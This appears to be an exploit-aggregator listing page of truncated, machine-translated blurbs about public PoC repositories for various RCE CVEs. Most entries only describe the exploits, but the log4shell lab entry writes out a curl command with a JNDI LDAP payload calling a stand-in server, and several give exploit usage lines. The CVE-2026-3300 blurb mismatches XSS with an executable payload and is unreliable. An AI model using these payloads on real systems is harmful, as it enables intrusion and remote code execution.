CVE-2023-422-Chamilo-LMS-RCE

Pré-requisitos root@kitploit: pip install requests Informação O script Python utiliza a vulnerabilidade CVE-2023-422 para carregar um ficheiro no servidor e usa esse ficheiro para enviar uma reverse shell para o netcat listener, e tudo isto pode ser feito sem autenticação. No entanto, precisará d...

CVE-2018-7600

CVE-2018-7600 - Execução Remota de Código no Drupal 7 Uma implementação em Rust do exploit CVE-2018-7600 voltado para instalações vulneráveis do Drupal 7 = 7.57. Este CLI reproduz o seguinte fluxo de PoC: envenena um formulário renderizável em cache através do caminho user/password, extrai um...

CVE-2026-45829

🚨 CVE-2026-45829 - ChromaDB Vor-Authentifizierungs-RCE Kritische Remote Code Execution in der ChromaDB Vektordatenbank 📌 Übersicht CVE-2026-45829 ist eine kritische Pre-Authentifizierungs-RCE -Schwachstelle in ChromaDB , einer beliebten Open-Source-KI-Vektordatenbank. Ein nicht authentifizierter...

CVE-2021-31630

OpenPLC WebServer v3 - Authentifizierte RCE CVE-2021-31630 Dieser Exploit basiert auf dem Exploit von Exploit-DB erstellt von Fellipe Oliveira. Zuerst authentifizieren Eine schädliche C-Datei hochladen Kompilieren PLC starten Reverse Shell initiieren PLC stoppen es muss nicht ausgeführt werden, d...

CVE-2019-20197

Nagios XI Remote Command Execution Vulnerability CVE-2019-20197 POC： POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

CVE-2025-32433

Erlang/OTP SSH Schwachstelle zur Remote-Codeausführung, deren Ursache in einem Fehler im Nachrichtenverarbeitungsmechanismus des SSH-Protokolls liegt. Angreifer können vor Abschluss der Authentifizierung Verbindungsprotokollnachrichten senden. Bemerkenswert ist, dass die Schwachstelle alle...

CVE-2021-32099

CVE-2021-32099 PoC Questo repository fornisce un exploit Proof of Concept PoC per la vulnerabilità CVE-2021-32099 , che colpisce Pandora FMS 742. L'exploit mostra come un attaccante non autenticato possa sfruttare una vulnerabilità di SQL injection per elevare una sessione non privilegiata a un...

CVE-2021-41773_CVE-2021-42013_Exploits

Sfruttare CVE-2021-41773 e CVE-2021-42013 Panoramica Questo repository si concentra sullo sfruttamento di due vulnerabilità in Apache HTTPD: CVE-2021-41773 e CVE-2021-42013. Queste CVE rappresentano vulnerabilità di path traversal che possono potenzialmente portare a mappatura di file ed esecuzio...

log4shell_lab

Laboratorio di exploit log4shell Questo repository è una configurazione a riga singola per il laboratorio di exploit log4shell. Configura il laboratorio: docker-compose up -d Esegui l'exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Poi vai al...

CVE-2018-8097

CVE-2018-8097 PoC Questo è un semplice script Python di dimostrazione concettuale PoC che dimostra la CVE-2018-8097, che riguarda la libreria PyEve per versioni 0.7.5 Utilizzo root@kitploit: usage: cve20188097.py -h -u URL -c COMMAND options: -h, --help show this help message and exit -u URL, --u...

CVE-2023-34468

CVE-2023-34468: Execução Remota de Código via Componentes de BD no Apache NiFi Os Serviços de Controlo DBCPConnectionPool e HikariCPConnectionPool no Apache NiFi 0.0.2 até 1.21.0 permitem que um utilizador autenticado e autorizado configure um URL de Base de Dados com o driver H2 que permite a...

Apache-Superset-Remote-Code-Execution-PoC-CVE-2018-8021

Esecuzione di codice tramite libreria pickle di Apache Superset IBM: Apache Superset potrebbe consentire a un utente malintenzionato remoto di eseguire codice arbitrario sul sistema, a causa dell'uso del metodo load non sicuro della libreria pickle per deserializzare i dati. Invio di una richiest...

CVE-2023-30459

CVE-2023-30459 SmartPTT SCADA 1.1.0.0 consente l'esecuzione di codice remoto quando l'attaccante ha privilegi di amministratore scrivendo uno script C dannoso ed eseguendolo sul server attraverso le impostazioni del server nel pannello di controllo dell'amministratore sulla porta 8101, per...

CVE-2026-3300

CVE-2026-3300 - Everest Forms Pro Cross-Site Scripting Armazenado Não Autenticado Uso Rápido root@kitploit: python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Notas de Exploração Gravidade: CRÍTICO CVSS: 9.8 Impacto: Confidencialidade, Integridade, Disponibilidade...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ Vulnerabilità di esecuzione di codice remoto CVE-2023-33246 Exploit Utilizzo: root@kitploit: java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "open -a Calculator" Caratteristiche di questo strumento Poiché il meccanismo del heartbeat attiva la vulnerabilità...

CVE-2026-42945

CVE-2026-42945 Strumento di rilevamento della sicurezza Questo è uno strumento di rilevamento statico per CVE-2026-42945, pensato per difensori e controlli interni di rete. Verifica se le configurazioni NGINX relative al modulo ngxhttprewritemodule contengono combinazioni di riscrittura ad alto...

CVE-2026-0770

CVE-2026-0770: Langflow execglobals Unauthentifizierte Remote-Codeausführung PoC CVE-2026-0770 ist eine Schwachstelle für nicht authentifizierte Remote-Codeausführung RCE, die Langflow betrifft. Der Fehler beruht auf einer unzureichenden Eingabevalidierung bei der Verarbeitung des Parameters...

vulnerability_struts-2.3.31

vulnerabilitystruts-2.3.31 Costruisci l'ambiente struts-2.3.31 CVE-2017-5638. È possibile effettuare richieste https. ambiente Ubuntu 20.04 Docker 20.10.12 curl 7.68.0 Avvio del server Useremo l'immagine docker tomcat:7.0-jre8. Decomprimi struts-2.3.31.zip in una directory a tua scelta. cd...

Oracle-WLS-Weblogic-RCE

Oracle-WLS-Weblogic-RCE CVE-2019-2725 Script di test per RCE su Oracle WLS Weblogic CVE-2019-2725 è una vulnerabilità di deserializzazione in Oracle WebLogic Server. Questa vulnerabilità di esecuzione di codice remoto è sfruttabile da remoto senza autenticazione. Questo script che verifica la...

CVE-2024-3273-D-Link-Remote-Code-Execution-RCE

CVE-2024-3273 - Exploit per Esecuzione di Codice Remoto RCE su D-Link Descrizione Questo repository contiene un exploit per CVE-2024-3273 , una vulnerabilità critica trovata in specifici dispositivi D-Link che consente l'esecuzione di codice remoto RCE. La vulnerabilità deriva da una convalida...